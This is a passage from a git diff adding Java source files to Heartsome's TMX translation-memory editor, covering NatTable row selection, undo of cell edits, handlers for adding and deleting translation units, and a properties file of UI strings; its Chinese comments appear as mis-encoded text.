如果没有å¯æ˜¾ç¤ºçš„æ•°æ®ï¼Œç›´æŽ¥é€€å‡ºé€‰ä¸­æ–‡æœ¬æ®µ + if (dataAccess.getDisplayTuIdentifiers().size() <= 0) { + return; + } + + // 选择的是哪一列 + int columnIndex = ((CellSelectionEvent) event).getColumnPosition(); + int currentRowIndex = ((CellSelectionEvent) event).getRowPosition(); + if (columnIndex == -1) { + columnIndex = 2; + } + + // 选择了哪些行 + int[] rowPositions = selectionLayer.getFullySelectedRowPositions(); + if (fullySelectedRowsOnly && rowPositions.length == 0) { + return; + } + + // 装填 selection + TmxEditorSelection selections = new TmxEditorSelection(); + DataLayer dataLayer = (DataLayer) selectionLayer.getUnderlyingLayerByPosition(0, 0); + IDataProvider dataProvider = dataLayer.getDataProvider(); + for (int rowIndex : rowPositions) { + Object obj = dataProvider.getDataValue(columnIndex, rowIndex); + if (obj instanceof TmxTU) { + String identifier = dataAccess.getDisplayTuIdentifiers().get(rowIndex); + selections.addTu(identifier, (TmxTU) obj); + } + } + + + // 用于显示的 row + selections.setIdentifier(dataAccess.getDisplayTuIdentifiers().get(currentRowIndex)); + selections.setSelectedColumn(columnIndex); + + ISelection selection = new StructuredSelection(selections); + for (ISelectionChangedListener listener : listeners) { + SelectionChangedEvent e = new SelectionChangedEvent(this, selection); + listener.selectionChanged(e); + } + } + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/selection/TmxEditorRowSelectionModel.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/selection/TmxEditorRowSelectionModel.java new file mode 100644 index 0000000..88fadad --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/selection/TmxEditorRowSelectionModel.java @@ -0,0 +1,273 @@ +package net.heartsome.cat.te.tmxeditor.editor.nattable.selection; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.selection.ISelectionModel; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * 水平布局下使用的选中行模型 + * @author weachy + * @version + * @since JDK1.5 + * @param + */ +public class TmxEditorRowSelectionModel implements ISelectionModel { + + private final SelectionLayer selectionLayer; + + private Rectangle lastSelectedRange; // *live* reference to last range parameter used in addSelection(range) + private Set selectedRows; // Key: rowId, Value: rowIndexes + private Set lastSelectedRowIds; + private final ReadWriteLock selectionsLock; + + public ReadWriteLock getSelectionsLock() { + return selectionsLock; + } + + public TmxEditorRowSelectionModel(SelectionLayer selectionLayer) { + this.selectionLayer = selectionLayer; + selectedRows = new HashSet(); + selectionsLock = new ReentrantReadWriteLock(); + } + + public void clearSelection() { + selectionsLock.writeLock().lock(); + try { + selectedRows.clear(); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public boolean isColumnPositionSelected(int columnPosition) { + return !isEmpty(); + } + + public int[] getSelectedColumns() { + if (!isEmpty()) { + selectionsLock.readLock().lock(); + + try { + int columnCount = selectionLayer.getColumnCount(); + int[] columns = new int[columnCount]; + for (int i = 0; i < columnCount; i++) { + columns[i] = i; + } + return columns; + } finally { + selectionsLock.readLock().unlock(); + } + } + return new int[] {}; + } + + public void addSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { +// Serializable rowId = getRowIdByPosition(rowPosition); + if (rowPosition != -1) { + selectedRows.add(rowPosition); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void addSelection(Rectangle range) { + selectionsLock.writeLock().lock(); + + try { + if (range == lastSelectedRange) { + // Unselect all previously selected rowIds + if (lastSelectedRowIds != null) { + for (Serializable rowId : lastSelectedRowIds) { + selectedRows.remove(rowId); + } + } + } + + int rowPosition = range.y; + int length = range.height; + + int[] rowIndexs = new int[length]; + Set rowsToSelect = new HashSet(); + for (int i = 0; i < rowIndexs.length; i++) { + rowsToSelect.add(rowPosition + i); + } + + selectedRows.addAll(rowsToSelect); + + if (range == lastSelectedRange) { + lastSelectedRowIds = rowsToSelect; + } else { + lastSelectedRowIds = null; + } + + lastSelectedRange = range; + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public int[] getFullySelectedColumns(int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + if (isColumnFullySelected(0, fullySelectedColumnRowCount)) { + return getSelectedColumns(); + } + } finally { + selectionsLock.readLock().unlock(); + } + + return new int[] {}; + } + + /** + * 得到被整行选中的所有行 + * @see net.sourceforge.nattable.selection.ISelectionModel#getFullySelectedRows(int) + */ + public int[] getFullySelectedRows(int rowWidth) { + selectionsLock.readLock().lock(); + + try { + int[] selectedRowPositions = new int[selectedRows.size()]; + int i = 0; + for (int selectedRow : selectedRows) { + if (selectedRow > -1) { + selectedRowPositions[i++] = selectedRow; + } + } + return selectedRowPositions; + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * 得到选中行的个数 + * @see net.sourceforge.nattable.selection.ISelectionModel#getSelectedRowCount() + */ + public int getSelectedRowCount() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * 得到所有选中行 + * @see net.sourceforge.nattable.selection.ISelectionModel#getSelectedRows() + */ + public Set getSelectedRows() { + Set selectedRowRanges = new HashSet(); + + selectionsLock.readLock().lock(); + + try { + for (int selectedRow : selectedRows) { + if (selectedRow > -1) { + selectedRowRanges.add(new Range(selectedRow, selectedRow + 1)); + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectedRowRanges; + } + + public List getSelections() { + List selectionRectangles = new ArrayList(); + + selectionsLock.readLock().lock(); + + try { + int width = selectionLayer.getColumnCount(); + + for (int selectedRow : selectedRows) { + if (selectedRow > -1) { + selectionRectangles.add(new Rectangle(0, selectedRow, width, 1)); + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectionRectangles; + } + + public boolean isCellPositionSelected(int columnPosition, int rowPosition) { + return isRowPositionSelected(rowPosition); + } + + public boolean isColumnFullySelected(int columnPosition, int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size() == fullySelectedColumnRowCount; + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isEmpty() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.isEmpty(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isRowFullySelected(int rowPosition, int rowWidth) { + return isRowPositionSelected(rowPosition); + } + + public boolean isRowPositionSelected(int rowPosition) { + selectionsLock.readLock().lock(); + + try { + return selectedRows.contains(rowPosition); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public void removeSelection(Rectangle removedSelection) { + selectionsLock.writeLock().lock(); + + try { + for (int rowPosition = removedSelection.y; rowPosition < removedSelection.y + removedSelection.height; rowPosition++) { + removeSelection(0, rowPosition); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void removeSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + selectedRows.remove(rowPosition); + } finally { + selectionsLock.writeLock().unlock(); + } + } +} \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/undo/UpdateDataOperation.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/undo/UpdateDataOperation.java new file mode 100644 index 0000000..424c6d0 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/editor/nattable/undo/UpdateDataOperation.java @@ -0,0 +1,133 @@ +/** + * UpdateDataOperation.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.editor.nattable.undo; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable.BodyLayer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.CellEditorCanonicalValue; +import net.heartsome.cat.te.tmxeditor.editor.nattable.celleditor.TeActiveCellEditor; +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.AutoResizeCurrentRowsCommand; +import net.heartsome.cat.te.tmxeditor.editor.nattable.commond.UpdateDataCommand; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.edit.command.EditCellCommand; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +public class UpdateDataOperation extends AbstractOperation { + private final Object oldValue; + private final UpdateDataCommand command; + + private final BodyLayer bodyLayer; + private final NatTable table; + + private final int rowIndex; + private final int colIndex; + + public UpdateDataOperation(NatTable table, BodyLayer bodyLayer, UpdateDataCommand command) { + super("tmxeditorundoable"); + this.command = command; + this.bodyLayer = bodyLayer; + this.table = table; + + colIndex = command.getColumnPosition(); + rowIndex = command.getRowPosition(); + + TmxTU currentTu = (TmxTU) bodyLayer.getDataLayer().getDataValueByPosition(colIndex, rowIndex); + if (colIndex == 1) { + // source + if (currentTu.getSource() != null) { + oldValue = currentTu.getSource().getFullText(); + } else { + oldValue = ""; + } + } else if (colIndex == 2) { + // target + if (currentTu.getTarget() != null) { + oldValue = currentTu.getTarget().getFullText(); + } else { + oldValue = ""; + } + } else { + oldValue = null; + } + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + CellEditorCanonicalValue newValue = null; + Object obj = command.getNewValue(); + if (obj instanceof CellEditorCanonicalValue) { + newValue = (CellEditorCanonicalValue) obj; + } + if (oldValue == null || newValue == null || oldValue.equals(newValue.getNewFullValue())) { + return Status.CANCEL_STATUS; + } + + return updateData(newValue.getNewFullValue(), false); + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + CellEditorCanonicalValue newValue = null; + Object obj = command.getNewValue(); + if (obj instanceof CellEditorCanonicalValue) { + newValue = (CellEditorCanonicalValue) obj; + } + if (newValue == null) { + return Status.CANCEL_STATUS; + } + TeActiveCellEditor.commit(); + return updateData(newValue.getNewFullValue(), true); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (oldValue == null) { + return Status.CANCEL_STATUS; + } + TeActiveCellEditor.commit(); + return updateData((String) oldValue, true); + } + + private IStatus updateData(String value, boolean move) { + if (table == null || table.isDisposed()) { + return Status.CANCEL_STATUS; + } + if (rowIndex == -1 || colIndex == -1) { + return Status.CANCEL_STATUS; + } + DataLayer dataLayer = bodyLayer.getDataLayer(); + + // 修改值并刷新 UI。 + dataLayer.getDataProvider().setDataValue(colIndex, rowIndex, value); + + // æ­¤æ“作会自动调整选中å•å…ƒæ ¼è¿›å…¥å¯è§åŒºåŸŸ + if (move) { // 跳转到相应的行 + int rowPosition = command.getRowPosition(); + table.doCommand(new AutoResizeCurrentRowsCommand(table, new int[] { rowPosition + 1 }, table + .getConfigRegistry())); + bodyLayer.getSelectionLayer().doCommand( + new SelectCellCommand(bodyLayer.getSelectionLayer(), colIndex, rowIndex, false, false)); + table.doCommand(new EditCellCommand(null, null, null)); + } + return Status.OK_STATUS; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/AddTuHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/AddTuHandler.java new file mode 100644 index 0000000..ebc29c6 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/AddTuHandler.java @@ -0,0 +1,51 @@ +/** + * AddTuHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.tmxeditor.handler; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.tmxeditor.TmxEditorUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.ui.PlatformUI; + + +public class AddTuHandler extends AbstractHandler{ + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + if(viewer == null){ + return null; + } + TmxEditor editor = viewer.getTmxEditor(); + if(editor == null){ + return null; + } + String srcLang = editor.getSrcLang(); + String tgtLang = editor.getTgtLang(); + TmxTU tu = TmxEditorUtils.createTmxTu(srcLang, tgtLang); + editor.addTu(tu); + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, true, true); + return null; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/CleartInnertTagHanlder.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/CleartInnertTagHanlder.java new file mode 100644 index 0000000..6439128 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/CleartInnertTagHanlder.java @@ -0,0 +1,20 @@ +/** + * CleartInnertTagHanlder.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.tmxeditor.handler; + + +public class CleartInnertTagHanlder { +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/DeleteTuHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/DeleteTuHandler.java new file mode 100644 index 0000000..aa3c103 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/DeleteTuHandler.java @@ -0,0 +1,59 @@ +/** + * DeleteTuHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.handler; + +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.tmxeditor.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; + +public class DeleteTuHandler extends AbstractHandler { + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + if (viewer == null) { + return null; + } + TmxEditor editor = viewer.getTmxEditor(); + if (editor == null) { + return null; + } + if (editor.getTmxDataAccess().getDisplayTuCount() == 0 + || editor.getTmxEditorImpWithNattable().getSelectedRows().length == 0) { + OpenMessageUtils.openMessage(IStatus.INFO, Messages.getString("tmxeditor.deleteTuHandler.noSelectedMsg")); + return null; + } + boolean confirm = MessageDialog.openConfirm(HandlerUtil.getActiveShell(event), + Messages.getString("tmxeditor.deleteTuHandler.warn.msg"), + Messages.getString("tmxeditor.deleteTuHandler.warn.desc")); + if (!confirm) { + return null; + } + editor.deleteSelectedTu(); + IOperationHistory histor = OperationHistoryFactory.getOperationHistory(); + histor.dispose(PlatformUI.getWorkbench().getOperationSupport().getUndoContext(), true, true, true); + return null; + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/ShowHidenNonPrintingCharacterHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/ShowHidenNonPrintingCharacterHandler.java new file mode 100644 index 0000000..48c5d71 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/ShowHidenNonPrintingCharacterHandler.java @@ -0,0 +1,59 @@ +/** + * ShowHidenNonPrintingCharacter.java + * + * Version information : + * + * Date:2013-4-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.handler; + +import java.util.Map; + +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.tmxeditor.TmxEditorConstanst; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.tmxeditor.editor.nattable.TmxEditorImpWithNattable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.commands.IElementUpdater; +import org.eclipse.ui.menus.UIElement; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ShowHidenNonPrintingCharacterHandler extends AbstractHandler implements IElementUpdater { + + boolean isSelected = Activator.getDefault().getPreferenceStore() + .getBoolean(TmxEditorConstanst.TMX_EDITOR_SHOWHIDEN_NONPRINTCHARACTER); + + public Object execute(ExecutionEvent event) throws ExecutionException { + isSelected = !isSelected; + TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + if (viewer != null) { + TmxEditor editor = viewer.getTmxEditor(); + if (editor != null) { + editor.commit(); + TmxEditorImpWithNattable.showNonPrinttingChar = isSelected; + editor.refreshUI(); + Activator.getDefault().getPreferenceStore() + .setValue(TmxEditorConstanst.TMX_EDITOR_SHOWHIDEN_NONPRINTCHARACTER, isSelected); + } + } + return null; + } + + public void updateElement(UIElement element, @SuppressWarnings("rawtypes") Map parameters) { + element.setChecked(isSelected); + } + +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/SplitPointSettingHandler.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/SplitPointSettingHandler.java new file mode 100644 index 0000000..645f223 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/handler/SplitPointSettingHandler.java @@ -0,0 +1,27 @@ +/** + * SplitPointSettingHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + + + +package net.heartsome.cat.te.tmxeditor.handler; + + +public class SplitPointSettingHandler { + public void addSplitPoint() { + + } + + public void removeSplitPoint() { + + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/preference/TMXEditorPreferenceInitializer.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/preference/TMXEditorPreferenceInitializer.java new file mode 100644 index 0000000..1f4330a --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/preference/TMXEditorPreferenceInitializer.java @@ -0,0 +1,24 @@ +package net.heartsome.cat.te.tmxeditor.preference; + +import net.heartsome.cat.te.core.TeCoreConstant; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * å‚æ•°åˆå§‹åŒ–ç±» + * @author robert 2013-10-15 + * @version + * @since JDK1.6 + */ +public class TMXEditorPreferenceInitializer extends AbstractPreferenceInitializer { + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = net.heartsome.cat.te.core.Activator.getDefault().getPreferenceStore(); + + store.setDefault(TeCoreConstant.FILTER_ignoreCase, true); + store.setDefault(TeCoreConstant.FILTER_ignoreTag, true); + + + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/propertytester/TmxEditorTester.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/propertytester/TmxEditorTester.java new file mode 100644 index 0000000..f86b556 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/propertytester/TmxEditorTester.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.te.tmxeditor.propertytester; + +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; + +import org.eclipse.core.expressions.PropertyTester; + +public class TmxEditorTester extends PropertyTester { + + public TmxEditorTester() { + } + + @Override + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + try { + TmxEditorViewer viewer = TmxEditorViewer.getInstance(); + TmxEditor editor = viewer.getTmxEditor(); + return editor != null; + } catch (NullPointerException e) { + return false; + } + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/._message.properties5161746992057860503.tmp b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/._message.properties5161746992057860503.tmp new file mode 100644 index 0000000..cf9521d --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/resource/._message.properties5161746992057860503.tmp @@ -0,0 +1,28 @@ +# add by robert 2013-06-14 tmxeditor.all.dialog.info = \u63d0\u793a tmxeditor.all.dialog.warning = \u8b66\u544a tmxeditor.all.dialog.error = \u9519\u8bef tmxeditor.all.dialog.confirm = \u786e\u8ba4 tmxeditor.all.dialog.cancel = \u53d6\u6d88 tmxeditor.all.dialog.okBtn = \u786e\u5b9a tmxeditor.all.dialog.cancelBtn = \u53d6\u6d88 ### 2013-06-17 Austen Add### tmxeditor.view.PropertiesView.fixedProp = \u7ffb\u8bd1\u5355\u5143\u56fa\u5b9a\u5c5e\u6027 tmxeditor.view.PropertiesView.customProp = \u7ffb\u8bd1\u5355\u5143\u81ea\u5b9a\u4e49\u5c5e\u6027 tmxeditor.view.PropertiesView.tuvProp = \u7279\u5b9a\u8bed\u8a00\u5c5e\u6027 tmxeditor.view.PropertiesView.noteProp = \u6279\u6ce8 tmxeditor.view.PropertiesView.errormsg1 = \u7531\u5f53\u524d\u8bed\u8a00\u5217\u7684\u5185\u5bb9\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u8fdb\u884c\u5c5e\u6027\u7f16\u8f91\u3002 tmxeditor.view.AddPropertyDialog.lblCategory = \u7c7b\u522b tmxeditor.view.AddPropertyDialog.lblKey = \u5c5e\u6027 tmxeditor.view.AddPropertyDialog.lblValue = \u503c ###### +######2013-06-18 add by yule ############ +dialog.FindReplaceDialog.Title = \u67e5\u627e/\u66ff\u6362 +dialog.FindReplaceDialog.findButton = \u67e5\u627e(&F) +dialog.FindReplaceDialog.findNextButton = \u66ff\u6362/\u67e5\u627e(&N) +dialog.FindReplaceDialog.replaceButton = \u66ff\u6362(&R) +dialog.FindReplaceDialog.replaceAllButton = \u66ff\u6362\u6240\u6709(&A) +dialog.FindReplaceDialog.findLabel = \u67e5\u627e\uff1a +dialog.FindReplaceDialog.replaceWithLabel = \u66ff\u6362\u4e3a\uff1a +dialog.FindReplaceDialog.directionGroup = \u65b9\u5411 +dialog.FindReplaceDialog.forwardButton = \u5411\u524d(&O) +dialog.FindReplaceDialog.backwardButton = \u5411\u540e(&B) +dialog.FindReplaceDialog.rangeGroup = \u8303\u56f4 +dialog.FindReplaceDialog.sourceButton = \u6e90\u6587(&S) +dialog.FindReplaceDialog.targetButton = \u8bd1\u6587(&T) +dialog.FindReplaceDialog.optionsGroup = \u9009\u9879 +dialog.FindReplaceDialog.caseSensitiveButton = \u533a\u5206\u5927\u5c0f\u5199(&E) +dialog.FindReplaceDialog.wholeWordButton = \u6574\u8bcd\u5339\u914d(&W) +dialog.FindReplaceDialog.regExButton = \u6b63\u5219\u8868\u8fbe\u5f0f(&X) +dialog.FindReplaceDialog.logger1 = [LOG] \u6267\u884c\u66ff\u6362\u65f6\u51fa\u73b0\u9519\u8bef +dialog.FindReplaceDialog.status1 = \u672a\u627e\u5230\u6307\u5b9a\u5185\u5bb9\u3002 +dialog.FindReplaceDialog.status2 = 